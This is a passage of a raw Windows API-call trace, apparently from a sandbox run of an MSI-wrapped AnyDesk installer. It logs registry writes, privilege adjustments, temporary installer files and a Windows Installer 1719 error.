_Dst=0x29f80d2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0149.893] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.894] memcpy (in: _Dst=0x37b01ac, _Src=0x10cdd78, _Size=0x2 | out: _Dst=0x37b01ac) returned 0x37b01ac [0149.894] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.895] memcpy (in: _Dst=0x10cdf58, _Src=0x5c30ac8, _Size=0x2 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0149.895] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.900] GetCurrentThreadId () returned 0xf50 [0149.900] GetCurrentThreadId () returned 0xf50 [0149.900] SetEvent (hEvent=0x170) returned 1 [0149.900] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.901] _vsnwprintf (in: _Buffer=0x10cd070, _BufferCount=0x13d, _Format="%s\\%s", _ArgList=0x10ccf58 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18") returned 69 [0149.901] _vsnwprintf (in: _Buffer=0x10cd300, _BufferCount=0x3ff, _Format="%s\\%s\\%s", _ArgList=0x10cd048 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Components\\C6F01EDE4F03AC245B7CDA9B504EB5CF") returned 113 [0149.901] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Components\\C6F01EDE4F03AC245B7CDA9B504EB5CF", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdb70 | out: phkResult=0x10cdb70*=0x0) returned 0x2 [0149.902] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData") returned 60 [0149.903] RegSetValueExW (in: hKey=0x34c, lpValueName="8F3854CA4966E374BB7723DCCFB99A04", Reserved=0x0, dwType=0x1, lpData="02:\\SOFTWARE\\EXEMSI.COM\\MSI Wrapper\\Installed\\AnyDesk\\LogonUser", cbData=0x80 | out: lpData="02:\\SOFTWARE\\EXEMSI.COM\\MSI Wrapper\\Installed\\AnyDesk\\LogonUser") returned 0x0 [0149.904] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cde70, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.904] lstrlenW (lpString="C:\\Windows") returned 10 [0149.904] GetLocalTime (in: lpSystemTime=0x10cd920 | out: lpSystemTime=0x10cd920*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x3e)) [0149.904] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cd920, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:57") returned 9 [0149.904] GetLocalTime (in: lpSystemTime=0x10cd920 | out: lpSystemTime=0x10cd920*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x3e)) [0149.904] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cd920, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:57") returned 9 [0149.904] GetLocalTime (in: lpSystemTime=0x10cd950 | out: lpSystemTime=0x10cd950*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x3e)) [0149.904] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cd950, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:57") returned 9 [0149.904] memcpy (in: _Dst=0x10cdbb0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10cdbb0) returned 0x10cdbb0 [0149.904] memcpy (in: _Dst=0x29f80be, _Src=0x10cdbb0, _Size=0x10 | out: _Dst=0x29f80be) returned 0x29f80be [0149.904] memcpy (in: _Dst=0x29f80ce, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x29f80ce) returned 0x29f80ce [0149.904] memcpy (in: _Dst=0x29f80d2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0149.904] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.906] memcpy (in: _Dst=0x37b01ac, _Src=0x10cdd78, _Size=0x2 | out: _Dst=0x37b01ac) returned 0x37b01ac [0149.909] ReadFile (in: hFile=0x368, lpBuffer=0x3fff9ad, nNumberOfBytesToRead=0x33f33, lpNumberOfBytesRead=0x10cdf50, lpOverlapped=0x0 | out: lpBuffer=0x3fff9ad*, lpNumberOfBytesRead=0x10cdf50*=0x33f33, lpOverlapped=0x0) returned 1 [0149.909] ReadFile (in: hFile=0x368, lpBuffer=0x5c3085c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x5c30c5c, lpOverlapped=0x0 | out: lpBuffer=0x5c3085c*, lpNumberOfBytesRead=0x5c30c5c*=0x400, lpOverlapped=0x0) returned 1 [0149.909] memcpy (in: _Dst=0x10cdf58, _Src=0x5c3085c, _Size=0x2 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0149.910] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd960, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.910] lstrlenW (lpString="C:\\Windows") returned 10 [0149.910] GetTempFileNameW (in: lpPathName="C:\\Windows\\Installer", lpPrefixString="MSI", uUnique=0x0, lpTempFileName=0x335930 | out: lpTempFileName="C:\\Windows\\Installer\\MSIA7FC.tmp" (normalized: "c:\\windows\\installer\\msia7fc.tmp")) returned 0xa7fc [0149.911] GetCurrentThread () returned 0xfffffffffffffffe [0149.911] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10cdd20 | out: TokenHandle=0x10cdd20*=0xa7fc) returned 0 [0149.911] GetLastError () returned 0x3f0 [0149.911] GetCurrentProcess () returned 0xffffffffffffffff [0149.911] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10cdd20 | out: TokenHandle=0x10cdd20*=0x34c) returned 1 [0149.911] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x10cdd2c | out: lpLuid=0x10cdd2c*(LowPart=0x12, HighPart=0)) returned 1 [0149.912] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeTakeOwnershipPrivilege", lpLuid=0x10cdd38 | out: lpLuid=0x10cdd38*(LowPart=0x9, HighPart=0)) returned 1 [0149.912] AdjustTokenPrivileges (in: TokenHandle=0x34c, DisableAllPrivileges=0, NewState=0x10cdd28*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x0))), BufferLength=0x30, PreviousState=0x7fef7b237fc, ReturnLength=0x7fef7b2382c | out: PreviousState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), ReturnLength=0x7fef7b2382c) returned 1 [0149.912] CloseHandle (hObject=0x34c) returned 1 [0149.912] GetLastError () returned 0x0 [0149.913] SetFileSecurityW (lpFileName="C:\\Windows\\Installer\\MSIA7FC.tmp", SecurityInformation=0x1, pSecurityDescriptor=0x7fef7b24890) returned 1 [0149.913] SetFileSecurityW (lpFileName="C:\\Windows\\Installer\\MSIA7FC.tmp", SecurityInformation=0x4, pSecurityDescriptor=0x7fef7b24890) returned 1 [0149.913] GetCurrentThread () returned 0xfffffffffffffffe [0149.913] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10cdd20 | out: TokenHandle=0x10cdd20*=0x7) returned 0 [0149.913] GetLastError () returned 0x3f0 [0149.913] GetCurrentProcess () returned 0xffffffffffffffff [0149.913] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10cdd20 | out: TokenHandle=0x10cdd20*=0x34c) returned 1 [0149.913] AdjustTokenPrivileges (in: TokenHandle=0x34c, DisableAllPrivileges=0, NewState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x1c, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0149.913] CloseHandle (hObject=0x34c) returned 1 [0149.913] GetLastError () returned 0x0 [0149.913] CreateFileW (lpFileName="C:\\Windows\\Installer\\MSIA7FC.tmp" (normalized: "c:\\windows\\installer\\msia7fc.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0149.914] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.914] SetFilePointer (in: hFile=0x34c, lDistanceToMove=212992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34000 [0149.914] SetEndOfFile (hFile=0x34c) returned 1 [0149.914] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.920] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.923] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x10cdf28*=0x34c, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x0 [0204.651] GetExitCodeThread (in: hThread=0x34c, lpExitCode=0x10cdf20 | out: lpExitCode=0x10cdf20) returned 1 [0204.651] CloseHandle (hObject=0x34c) returned 1 [0204.652] memcpy (in: _Dst=0x10cdf58, _Src=0x5c308cc, _Size=0x2 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0204.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cdfb0, cbMultiByte=21, lpWideCharStr=0x372340, cchWideChar=21 | out: lpWideCharStr="bz.LateInstallFinish2") returned 21 [0204.653] memcpy (in: _Dst=0x10cdf58, _Src=0x5c308e5, _Size=0x2 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0204.653] memcpy (in: _Dst=0x10cdf58, _Src=0x5c308e7, _Size=0x2 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0204.653] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cde70, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0204.654] lstrlenW (lpString="C:\\Windows") returned 10 [0204.654] lstrlenW (lpString="\\") returned 1 [0204.654] lstrlenW (lpString="Installer") returned 9 [0204.654] lstrlenW (lpString="\\") returned 1 [0204.654] SetLastError (dwErrCode=0xd) [0204.654] lstrlenW (lpString="Time") returned 4 [0204.655] GetLocalTime (in: lpSystemTime=0x10cd920 | out: lpSystemTime=0x10cd920*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x1c, wMilliseconds=0x22e)) [0204.655] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cd920, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:48:28") returned 9 [0204.655] GetLocalTime (in: lpSystemTime=0x10cd920 | out: lpSystemTime=0x10cd920*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x1c, wMilliseconds=0x22e)) [0204.655] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cd920, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:48:28") returned 9 [0204.655] GetLocalTime (in: lpSystemTime=0x10cd950 | out: lpSystemTime=0x10cd950*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x1c, wMilliseconds=0x22e)) [0204.655] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cd950, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:48:28") returned 9 [0204.655] memcpy (in: _Dst=0x10cdbb0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10cdbb0) returned 0x10cdbb0 [0204.655] memcpy (in: _Dst=0x29f80be, _Src=0x10cdbb0, _Size=0x10 | out: _Dst=0x29f80be) returned 0x29f80be [0204.655] memcpy (in: _Dst=0x29f80ce, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x29f80ce) returned 0x29f80ce [0204.655] memcpy (in: _Dst=0x29f80d2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0204.655] SetLastError (dwErrCode=0x0) [0204.655] memcpy (in: _Dst=0x10cdbb2, _Src=0x10cda08, _Size=0x2 | out: _Dst=0x10cdbb2) returned 0x10cdbb2 [0204.655] memcpy (in: _Dst=0x29f80d2, _Src=0x10cdbb0, _Size=0x6 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0204.655] memcpy (in: _Dst=0x29f80d8, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x29f80d8) returned 0x29f80d8 [0204.655] memcpy (in: _Dst=0x29f80dc, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x29f80dc) returned 0x29f80dc [0204.655] SetLastError (dwErrCode=0x0) [0204.655] memcpy (in: _Dst=0x10cdbb2, _Src=0x10cda08, _Size=0x2 | out: _Dst=0x10cdbb2) returned 0x10cdbb2 [0204.655] memcpy (in: _Dst=0x29f80dc, _Src=0x10cdbb0, _Size=0x6 | out: _Dst=0x29f80dc) returned 0x29f80dc [0204.656] GetCurrentThreadId () returned 0xf50 [0204.656] GetCurrentThreadId () returned 0xf50 [0204.656] SetEvent (hEvent=0x170) returned 1 [0204.656] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0204.673] memcpy (in: _Dst=0x37b01ac, _Src=0x10cdd78, _Size=0x2 | out: _Dst=0x37b01ac) returned 0x37b01ac [0204.673] WriteFile (in: hFile=0x1f8, lpBuffer=0x37b01ac*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x10cdd70, lpOverlapped=0x0 | out: lpBuffer=0x37b01ac*, lpNumberOfBytesWritten=0x10cdd70*=0x19, lpOverlapped=0x0) returned 1 [0204.674] memcpy (in: _Dst=0x10cdf58, _Src=0x5c308e9, _Size=0x2 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0204.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cdfb0, cbMultiByte=21, lpWideCharStr=0x21048f0, cchWideChar=21 | out: lpWideCharStr="bz.LateInstallFinish2") returned 21 [0204.674] memcpy (in: _Dst=0x10cdf58, _Src=0x5c30902, _Size=0x2 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0204.674] memcpy (in: _Dst=0x10cdf58, _Src=0x5c30904, _Size=0x4 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0204.674] memcpy (in: _Dst=0x10cdf58, _Src=0x5c30908, _Size=0x2 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0204.674] memcpy (in: _Dst=0x10cdf58, _Src=0x5c3090a, _Size=0x4 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0204.675] ReadFile (in: hFile=0x368, lpBuffer=0x3fffc2e, nNumberOfBytesToRead=0x33cb2, lpNumberOfBytesRead=0x10cdf50, lpOverlapped=0x0 | out: lpBuffer=0x3fffc2e*, lpNumberOfBytesRead=0x10cdf50*=0x33cb2, lpOverlapped=0x0) returned 1 [0204.677] ReadFile (in: hFile=0x368, lpBuffer=0x5c3085c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x5c30c5c, lpOverlapped=0x0 | out: lpBuffer=0x5c3085c*, lpNumberOfBytesRead=0x5c30c5c*=0x400, lpOverlapped=0x0) returned 1 [0204.677] memcpy (in: _Dst=0x10cdf58, _Src=0x5c3085c, _Size=0x2 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0204.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cdfb0, cbMultiByte=17, lpWideCharStr=0x2104a80, cchWideChar=17 | out: lpWideCharStr="_InstallFinish2@4") returned 17 [0204.677] memcpy (in: _Dst=0x10cdf58, _Src=0x5c3086f, _Size=0x2 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0204.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cdfb0, cbMultiByte=91, lpWideCharStr=0x2becac0, cchWideChar=91 | out: lpWideCharStr="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini") returned 91 [0204.677] lstrlenW (lpString="bz.LateInstallFinish2") returned 21 [0204.677] GetCurrentThreadId () returned 0xf50 [0204.677] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0204.678] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd960, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0204.678] lstrlenW (lpString="C:\\Windows") returned 10 [0204.678] lstrlenW (lpString="\\") returned 1 [0204.678] lstrlenW (lpString="Installer") returned 9 [0204.678] GetTempFileNameW (in: lpPathName="C:\\Windows\\Installer", lpPrefixString="MSI", uUnique=0x0, lpTempFileName=0x335b40 | out: lpTempFileName="C:\\Windows\\Installer\\MSI2306.tmp" (normalized: "c:\\windows\\installer\\msi2306.tmp")) returned 0x2306 [0204.681] GetCurrentThread () returned 0xfffffffffffffffe [0204.681] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10cdd20 | out: TokenHandle=0x10cdd20*=0x2306) returned 0 [0204.681] GetLastError () returned 0x3f0 [0204.681] GetCurrentProcess () returned 0xffffffffffffffff [0204.681] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10cdd20 | out: TokenHandle=0x10cdd20*=0x1b8) returned 1 [0204.681] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x10cdd2c | out: lpLuid=0x10cdd2c*(LowPart=0x12, HighPart=0)) returned 1 [0204.682] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeTakeOwnershipPrivilege", lpLuid=0x10cdd38 | out: lpLuid=0x10cdd38*(LowPart=0x9, HighPart=0)) returned 1 [0204.682] AdjustTokenPrivileges (in: TokenHandle=0x1b8, DisableAllPrivileges=0, NewState=0x10cdd28*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x0))), BufferLength=0x30, PreviousState=0x7fef7b237fc, ReturnLength=0x7fef7b2382c | out: PreviousState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), ReturnLength=0x7fef7b2382c) returned 1 [0204.682] CloseHandle (hObject=0x1b8) returned 1 [0204.682] GetLastError () returned 0x0 [0204.682] SetFileSecurityW (lpFileName="C:\\Windows\\Installer\\MSI2306.tmp", SecurityInformation=0x1, pSecurityDescriptor=0x7fef7b24890) returned 1 [0204.683] SetFileSecurityW (lpFileName="C:\\Windows\\Installer\\MSI2306.tmp", SecurityInformation=0x4, pSecurityDescriptor=0x7fef7b24890) returned 1 [0204.683] GetCurrentThread () returned 0xfffffffffffffffe [0204.683] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10cdd20 | out: TokenHandle=0x10cdd20*=0x7) returned 0 [0204.683] GetLastError () returned 0x3f0 [0204.683] GetCurrentProcess () returned 0xffffffffffffffff [0204.683] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10cdd20 | out: TokenHandle=0x10cdd20*=0x1b8) returned 1 [0204.683] AdjustTokenPrivileges (in: TokenHandle=0x1b8, DisableAllPrivileges=0, NewState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x1c, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0204.683] CloseHandle (hObject=0x1b8) returned 1 [0204.683] GetLastError () returned 0x0 [0204.683] CreateFileW (lpFileName="C:\\Windows\\Installer\\MSI2306.tmp" (normalized: "c:\\windows\\installer\\msi2306.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1b8 [0204.684] SetFilePointer (in: hFile=0x1b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0204.684] SetFilePointer (in: hFile=0x1b8, lDistanceToMove=212992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34000 [0204.684] SetEndOfFile (hFile=0x1b8) returned 1 [0204.684] SetFilePointer (in: hFile=0x1b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0204.685] WriteFile (in: hFile=0x1b8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cdea0, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cdea0*=0x10000, lpOverlapped=0x0) returned 1 [0204.686] memcpy (in: _Dst=0x3a30010, _Src=0x400f8e0, _Size=0x10000 | out: _Dst=0x3a30010) returned 0x3a30010 [0204.686] WriteFile (in: hFile=0x1b8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cdea0, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cdea0*=0x10000, lpOverlapped=0x0) returned 1 [0204.687] memcpy (in: _Dst=0x3a30010, _Src=0x401f8e0, _Size=0x10000 | out: _Dst=0x3a30010) returned 0x3a30010 [0204.687] WriteFile (in: hFile=0x1b8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cdea0, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cdea0*=0x10000, lpOverlapped=0x0) returned 1 [0204.687] memcpy (in: _Dst=0x3a30010, _Src=0x402f8e0, _Size=0x4000 | out: _Dst=0x3a30010) returned 0x3a30010 [0204.687] WriteFile (in: hFile=0x1b8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x10cdea0, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cdea0*=0x4000, lpOverlapped=0x0) returned 1 [0204.688] CloseHandle (hObject=0x1b8) returned 1 [0204.691] lstrlenW (lpString="C:\\Windows\\Installer\\MSI2306.tmp") returned 32 [0204.691] GetCurrentThreadId () returned 0xf50 [0204.691] GetCurrentThreadId () returned 0xf50 [0204.691] SetEvent (hEvent=0x170) returned 1 [0204.691] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0204.693] GetCurrentThreadId () returned 0xf50 [0204.693] GetCurrentThreadId () returned 0xf50 [0204.693] GetCurrentThreadId () returned 0xf50 [0204.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0xa000, lpStartAddress=0x7fef79282e0, lpParameter=0x3be9d0, dwCreationFlags=0x0, lpThreadId=0x3be9f0 | out: lpThreadId=0x3be9f0*=0x68c) returned 0x1b8 [0204.694] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x10cdf28*=0x1b8, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x0 [0204.910] GetExitCodeThread (in: hThread=0x1b8, lpExitCode=0x10cdf20 | out: lpExitCode=0x10cdf20) returned 1 [0204.910] CloseHandle (hObject=0x1b8) returned 1 [0204.911] lstrlenW (lpString="bz.LateInstallFinish2") returned 21 [0204.911] lstrlenW (lpString="_InstallFinish2@4") returned 17 [0204.911] lstrlenW (lpString="C:\\Windows\\Installer\\MSI2306.tmp") returned 32 [0204.911] lstrlenW (lpString="ProductLanguage") returned 15 [0204.912] SetLastError (dwErrCode=0x0) [0204.912] _vsnwprintf (in: _Buffer=0x10cdc30, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10cd9d8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 1719") returned 50 [0204.912] GlobalLock (hMem=0xf401e8) returned 0x3cc0f0 [0204.912] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 1719") returned 50 [0204.913] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 1719") returned 50 [0204.913] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0204.913] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0204.913] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0204.913] lstrlenW (lpString="Error") returned 5 [0204.913] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 1719") returned 50 [0204.914] lstrlenW (lpString="Error") returned 5 [0204.914] GlobalUnlock (hMem=0xf401e8) returned 0 [0204.914] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x54d7, dwLanguageId=0x409, lpBuffer=0x10cda30, nSize=0x100, Arguments=0x0 | out: lpBuffer="The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.\r\n") returned 0xa9 [0204.914] lstrlenW (lpString="The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.") returned 167 [0204.914] SetLastError (dwErrCode=0x0) [0204.914] memcpy (in: _Dst=0x10cda32, _Src=0x10cd888, _Size=0x2 | out: _Dst=0x10cda32) returned 0x10cda32 [0204.914] memcpy (in: _Dst=0x29f84cc, _Src=0x10cda30, _Size=0x6 | out: _Dst=0x29f84cc) returned 0x29f84cc [0204.914] memcpy (in: _Dst=0x29f84d2, _Src=0x2be75d6, _Size=0x4 | out: _Dst=0x29f84d2) returned 0x29f84d2 [0204.915] memcpy (in: _Dst=0x29f80b4, _Src=0x29f84c0, _Size=0x16 | out: _Dst=0x29f80b4) returned 0x29f80b4 [0204.915] GetCurrentThreadId () returned 0xf50 [0204.915] GetCurrentThreadId () returned 0xf50 [0204.915] SetEvent (hEvent=0x170) returned 1 [0204.915] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0209.581] memcpy (in: _Dst=0x29f84c0, _Src=0x2be7754, _Size=0xc | out: _Dst=0x29f84c0) returned 0x29f84c0 [0209.581] memcpy (in: _Dst=0x29f84cc, _Src=0x2be7762, _Size=0x2 | out: _Dst=0x29f84cc) returned 0x29f84cc [0209.582] SetLastError (dwErrCode=0x0) [0209.582] _vsnwprintf (in: _Buffer=0x10cd720, _BufferCount=0xb, _Format="%d", _ArgList=0x10cd510 | out: _Buffer="1719") returned 4 [0209.582] memcpy (in: _Dst=0x29f84cc, _Src=0x10cd720, _Size=0x8 | out: _Dst=0x29f84cc) returned 0x29f84cc [0209.582] memcpy (in: _Dst=0x29f84d4, _Src=0x2be7766, _Size=0x4 | out: _Dst=0x29f84d4) returned 0x29f84d4 [0209.582] memcpy (in: _Dst=0x29f80b0, 